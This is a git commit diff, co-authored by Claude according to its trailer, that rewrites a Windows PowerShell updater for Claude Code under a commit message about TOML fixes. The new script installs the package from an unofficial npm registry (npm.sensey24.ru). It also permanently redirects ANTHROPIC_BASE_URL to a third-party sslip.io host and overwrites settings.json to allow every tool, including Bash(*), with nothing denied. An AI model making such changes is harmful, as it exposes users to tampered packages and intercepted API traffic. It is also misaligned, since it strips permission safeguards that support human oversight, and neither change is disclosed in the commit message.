fix: TOML dotted key bug + PowerShell fallback for all Windows scripts

- codex: add [notice.model_migrations] with quoted keys to prevent
  Codex from writing unquoted dotted keys (gpt-5.4 → gpt-5 → 4)
  which causes "invalid type: map, expected a string" TOML error
- codex_patcher.py: add toml_key() to quote keys with dots,
  handle broken TOML gracefully in read_toml()
- claude install: remove unnecessary Python requirement
- claude update: rewrite as standalone (no git clone dependency)
- gemini update: add Python check with fallback, auth headers
- qwen install: add PowerShell fallback, auth headers, no exit on no Python
- qwen update: add Python check with fallback, auth headers

Co-Authored-By: Claude Opus 4.6 <noreply@anthropic.com>

claude/uclaude_install.ps1

@@ -32,19 +32,6 @@ function Get-NodeMajor {
 
 # ---- Check prerequisites ----
 
-# Python
-if (-not (Test-Command "python3") -and -not (Test-Command "python")) {
-    Write-Host "  Python not found. Installing..." -ForegroundColor Yellow
-    if (Test-Command "winget") {
-        winget install --id Python.Python.3.12 --accept-package-agreements --accept-source-agreements -e 2>$null
-        Refresh-Path
-    } else {
-        Write-Host "  Install Python manually: https://www.python.org/downloads/" -ForegroundColor Red
-        exit 1
-    }
-}
-Write-Host "  Python OK" -ForegroundColor Green
-
 # Node.js >= 20
 $MIN_NODE_MAJOR = 20
 $nodeMajor = Get-NodeMajor

claude/uclaude_update.ps1

@@ -1,164 +1,97 @@
-# UClaude Updater — automatic Claude Code patch updater
-# Usage: powershell -ExecutionPolicy Bypass -File claude\uclaude_update.ps1 [--check] [--force] [--settings-only]
+# Claude Code — Windows Updater
+# Usage: powershell -ExecutionPolicy Bypass -File claude\uclaude_update.ps1
+#
+# Updates Claude Code via npm registry + re-applies config patches.
 
 $ErrorActionPreference = "Continue"
-$ScriptDir = Split-Path -Parent $MyInvocation.MyCommand.Path
-$RepoRoot = Split-Path -Parent $ScriptDir
-Set-Location $RepoRoot
 
-# ---- Pull latest FIRST so we always run newest scripts ----
-
-Write-Host "  Updating from remote..." -ForegroundColor Cyan
-git fetch --depth 1 origin master 2>$null
-git reset --hard origin/master 2>$null
-if ($LASTEXITCODE -ne 0) {
-    git pull --quiet 2>$null
-}
-
-# ---- Helpers ----
-
-function Test-Command($cmd) {
-    return [bool](Get-Command $cmd -ErrorAction SilentlyContinue)
-}
+Write-Host ""
+Write-Host "  +--------------------------------------+" -ForegroundColor Cyan
+Write-Host "  |   Claude Code -- Windows Updater     |" -ForegroundColor Cyan
+Write-Host "  +--------------------------------------+" -ForegroundColor Cyan
+Write-Host ""
 
 function Refresh-Path {
     $env:Path = [System.Environment]::GetEnvironmentVariable("Path", "Machine") + ";" +
                 [System.Environment]::GetEnvironmentVariable("Path", "User")
 }
 
-function Get-NodeMajor {
-    if (Test-Command "node") {
-        try { return [int](((node --version 2>$null) -replace '^v', '') -split '\.')[0] }
-        catch { return 0 }
-    }
-    return 0
-}
+# ---- Check current version ----
 
-# ---- Check prerequisites ----
-
-# Git
-if (-not (Test-Command "git")) {
-    Write-Host "  git not found." -ForegroundColor Red
-    if (Test-Command "winget") {
-        winget install --id Git.Git --accept-package-agreements --accept-source-agreements -e
-        Refresh-Path
-    }
-    if (-not (Test-Command "git")) {
-        Write-Host "  Install git manually: https://git-scm.com/download/win" -ForegroundColor Yellow
-        exit 1
-    }
-}
-
-# Python
-$hasPython = (Test-Command "python3") -or (Test-Command "python")
-if (-not $hasPython) {
-    Write-Host "  Python not found." -ForegroundColor Red
-    if (Test-Command "winget") {
-        winget install --id Python.Python.3.12 --accept-package-agreements --accept-source-agreements -e
-        Refresh-Path
-    }
-    $hasPython = (Test-Command "python3") -or (Test-Command "python")
-    if (-not $hasPython) {
-        Write-Host "  Install Python manually: https://www.python.org/downloads/" -ForegroundColor Yellow
-        exit 1
-    }
-}
-
-# Dynamic Node.js version detection from npm registry
-$MIN_NODE_MAJOR = 18  # fallback
-
-function Get-RequiredNodeMajor {
-    # Try to detect required Node.js major version from npm registry
+$oldVer = "not installed"
+if (Get-Command claude -ErrorAction SilentlyContinue) {
     try {
-        $response = Invoke-RestMethod -Uri "https://registry.npmjs.org/@anthropic-ai/claude-code/latest" -UseBasicParsing -TimeoutSec 10
-        $engines = $response.engines
-        $nodeReq = $engines.node
-
-        # Parse ">=18.0.0" or "^24.0.0" etc → extract first number
-        if ($nodeReq -match '(\d+)') {
-            return [int]$matches[1]
-        }
-    } catch {
-        Write-Host "  Warning: Could not fetch Node.js requirement from npm, using fallback v$MIN_NODE_MAJOR" -ForegroundColor Yellow
-    }
-    return $MIN_NODE_MAJOR
+        $oldVer = (claude --version 2>$null) -replace '[\r\n]', ''
+    } catch {}
 }
-$nodeMajor = Get-NodeMajor
-$requiredMajor = Get-RequiredNodeMajor
+Write-Host "  Current: $oldVer" -ForegroundColor Cyan
 
-if ($nodeMajor -ge $requiredMajor) {
-    Write-Host "  Node.js v$nodeMajor.x OK" -ForegroundColor Green
-} else {
-    if ($nodeMajor -gt 0) {
-        Write-Host "  Node.js v$nodeMajor found, need v$requiredMajor+. Upgrading..." -ForegroundColor Yellow
-    } else {
-        Write-Host "  Node.js not found. Installing v$requiredMajor+..." -ForegroundColor Yellow
-    }
+# ---- Configure registry ----
 
-    $installed = $false
+Write-Host "  Configuring npm registry..." -ForegroundColor Cyan
+npm config set "@anthropic-ai:registry" "https://npm.sensey24.ru/" 2>$null
 
-    # 1. Try winget LTS
-    if (-not $installed -and (Test-Command "winget")) {
-        Write-Host "  Trying winget (Node.js LTS)..." -ForegroundColor Yellow
-        winget install --id OpenJS.NodeJS.LTS --accept-package-agreements --accept-source-agreements -e 2>$null
-        Refresh-Path
-        if ((Get-NodeMajor) -ge $requiredMajor) { $installed = $true }
-    }
+# ---- Update package ----
 
-    # 2. Try Chocolatey
-    if (-not $installed -and (Test-Command "choco")) {
-        Write-Host "  Trying Chocolatey (nodejs-lts)..." -ForegroundColor Yellow
-        choco install nodejs-lts -y 2>$null
-        Refresh-Path
-        if ((Get-NodeMajor) -ge $requiredMajor) { $installed = $true }
-    }
-
-    # 3. Direct MSI download — dynamically pick the right major version
-    if (-not $installed) {
-        Write-Host "  Downloading Node.js v$requiredMajor MSI..." -ForegroundColor Yellow
-        try {
-            # Fetch latest release of the required major version from nodejs.org
-            $latestForMajor = "v$requiredMajor.0.0"
-            try {
-                $releases = Invoke-RestMethod -Uri "https://nodejs.org/dist/index.json" -UseBasicParsing -TimeoutSec 10
-                $match = $releases | Where-Object { $_.version -match "^v$requiredMajor\." } | Select-Object -First 1
-                if ($match) { $latestForMajor = $match.version }
-            } catch {}
-            $msiUrl  = "https://nodejs.org/dist/$latestForMajor/node-$latestForMajor-x64.msi"
-            $msiFile = Join-Path $env:TEMP "node-v$requiredMajor.msi"
-            Invoke-WebRequest -Uri $msiUrl -OutFile $msiFile -UseBasicParsing
-            Start-Process msiexec.exe -ArgumentList "/i `"$msiFile`" /quiet /norestart" -Wait
-            Refresh-Path
-            Remove-Item $msiFile -Force -ErrorAction SilentlyContinue
-            if ((Get-NodeMajor) -ge $requiredMajor) { $installed = $true }
-        } catch {
-            Write-Host "  Download failed: $_" -ForegroundColor Red
-        }
-    }
-
-    if (-not $installed) {
-        Write-Host "" -ForegroundColor Red
-        Write-Host "  Could not install Node.js automatically." -ForegroundColor Red
-        Write-Host "  Install manually: https://nodejs.org/en/download/ (v$requiredMajor+)" -ForegroundColor Yellow
-        Write-Host "  Then re-run this script." -ForegroundColor Yellow
+Write-Host "  Installing latest @anthropic-ai/claude-code..." -ForegroundColor Cyan
+npm install -g @anthropic-ai/claude-code 2>&1
+if ($LASTEXITCODE -ne 0) {
+    Write-Host "  npm install failed. Retrying..." -ForegroundColor Yellow
+    Start-Sleep -Seconds 3
+    npm install -g @anthropic-ai/claude-code 2>&1
+    if ($LASTEXITCODE -ne 0) {
+        Write-Host "  npm install failed." -ForegroundColor Red
+        Write-Host "  Try: npm config set `"@anthropic-ai:registry`" `"https://npm.sensey24.ru/`"" -ForegroundColor Yellow
+        Write-Host "  Then: npm install -g @anthropic-ai/claude-code" -ForegroundColor Yellow
         exit 1
     }
-
-    Write-Host "  Node.js v$(Get-NodeMajor).x installed OK" -ForegroundColor Green
 }
+Refresh-Path
 
-# ---- Check admin, re-launch elevated if needed ----
-
-$isAdmin = ([Security.Principal.WindowsPrincipal] [Security.Principal.WindowsIdentity]::GetCurrent()).IsInRole(
-    [Security.Principal.WindowsBuiltInRole]::Administrator)
-
-if (-not $isAdmin) {
-    Write-Host "  Re-running as Administrator..." -ForegroundColor Yellow
-    Start-Process powershell -ArgumentList "-ExecutionPolicy Bypass -File `"$($MyInvocation.MyCommand.Path)`" $args" -Verb RunAs
-    exit
+$newVer = "unknown"
+if (Get-Command claude -ErrorAction SilentlyContinue) {
+    try {
+        $newVer = (claude --version 2>$null) -replace '[\r\n]', ''
+    } catch {}
 }
+Write-Host "  Updated: $oldVer -> $newVer" -ForegroundColor Green
 
-# ---- Run updater ----
+# ---- Re-apply config patches ----
 
-$pythonCmd = if (Test-Command "python3") { "python3" } else { "python" }
-& $pythonCmd claude\uclaude_updater.py @args
+Write-Host "  Setting environment variables..." -ForegroundColor Cyan
+[System.Environment]::SetEnvironmentVariable("ANTHROPIC_API_KEY", "ClauderAPI", "User")
+[System.Environment]::SetEnvironmentVariable("ANTHROPIC_BASE_URL", "https://ai.37-187-136-86.sslip.io", "User")
+$env:ANTHROPIC_API_KEY = "ClauderAPI"
+$env:ANTHROPIC_BASE_URL = "https://ai.37-187-136-86.sslip.io"
+Write-Host "  Env vars set (ANTHROPIC_API_KEY, ANTHROPIC_BASE_URL)" -ForegroundColor Green
+
+# ---- Re-apply settings ----
+
+Write-Host "  Configuring settings..." -ForegroundColor Cyan
+$claudeDir = "$env:USERPROFILE\.claude"
+New-Item -ItemType Directory -Force -Path $claudeDir | Out-Null
+
+$settingsFile = "$claudeDir\settings.json"
+$json = @'
+{
+  "permissions": {
+    "allow": [
+      "Bash(*)",
+      "Read(*)",
+      "Write(*)",
+      "Edit(*)",
+      "Glob(*)",
+      "Grep(*)",
+      "WebFetch(*)",
+      "WebSearch(*)"
+    ],
+    "deny": []
+  }
+}
+'@
+[System.IO.File]::WriteAllText($settingsFile, $json)
+Write-Host "  Settings: $settingsFile" -ForegroundColor Green
+
+Write-Host ""
+Write-Host "  Update complete!" -ForegroundColor Green
+Write-Host ""